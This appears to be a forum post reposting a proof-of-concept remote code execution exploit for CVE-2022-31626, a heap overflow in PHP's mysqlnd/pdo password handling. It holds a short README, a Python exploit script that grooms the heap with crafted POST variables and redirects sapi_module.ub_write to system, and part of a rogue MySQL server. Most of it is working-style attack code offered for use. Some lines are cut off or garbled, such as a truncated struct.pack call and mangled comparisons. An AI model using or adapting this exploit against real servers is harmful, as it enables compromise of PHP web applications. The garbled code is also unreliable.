mysqlnd/pdo password buffer overflow leading to RCE ([I]
.SpoilerTarget" type="button">Spoiler: README.md
Remote Exploitation Technique For CVE 2022-31626
Bug summary
We present new technique for remote exploitation of heap overflow in PHP web applications.
PHP bug
#81719 is remote exploitable with this technique in PHP
.SpoilerTarget" type="button">Spoiler: exploit_poc.py
[CODE]
Code:
import struct
import requests
'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''
'''
Set sapi_ub_write var with address of sapi_module.ub_write symbol in exploit_poc.py
Set system var in rogue_sql_server.py with address of system symbol
Set need_memleak var with 1 in both exploit_poc.py and rogue_sql_server.py to get memory leak.
Set to 0 for code execution
PHP process heap can have differences depending on environment / configuration.
To prepare heap, play with POST parsing: add or remove some variables in "payload" array.
'''
N = 23
BIN = 160
need_memleak = 0
payload = [ ('server', '127.0.0.1'), ('username', 'root'), ('db', 'php'), ('password', 'v' * (9 * 0x1000 - 4)) ]
for i in range(N):
payload.append(('key%s' % i , chr(ord('B') + i) * (0x1000 - 100)))
if need_memleak:
#memleak
payload.append(('hi1', 'T' * (135 - 24 - 3)))
payload.append(('hi2', 'T' * (135 - 24 - 3)))
payload.append(('hi3', 'T' * (135 - 24 - 3)))
payload.append(('hi4', 'T' * (135 - 24 - 3)))
payload.append(('hi5', 'T' * (135 - 24 - 3)))
payload.append(('hi6', 'T' * (135 - 24 - 3)))
payload.append(('hi7', 'T' * (135 - 24 - 3)))
else:
#rce
sapi_ub_write = 0x7f6eb66071b0
fake_chunk = ('Y' * 0x48).encode('utf-8')
fake_chunk += struct.pack('
.SpoilerTarget" type="button">Spoiler: rogue_sql_server.py
[CODE]
Code:
import os
import sys
import struct
import socket
import warnings
import asynchat
import asyncore
from mysql_constants import *
'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''
class Packet:
def __init__(self):
pass
def pack_1_byte(self, v):
return struct.pack('B', v)
def pack_2_bytes(self, v):
return struct.pack('BB', v & 0xff, v >> 8)
def pack_3_bytes(self, v):
return struct.pack('BBB', v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff)
def pack_4_bytes(self, v):
return struct.pack('I', v)
def pack(self, nested = True):
if hasattr(self, 'get_to_str'):
self.data = self.get_to_str()
else:
raise Exception("Eror")
if not nested:
r = ''
r += self.pack_3_bytes(len(self.data))
r += self.pack_1_byte(self.num)
r += self.data
else:
r = self.data
return r
class LengthEncodedInteger(Packet):
def __init__(self, value):
self.value = value
def get_to_str(self):
if self.value = 251 and self.value = (1= (1
Writeup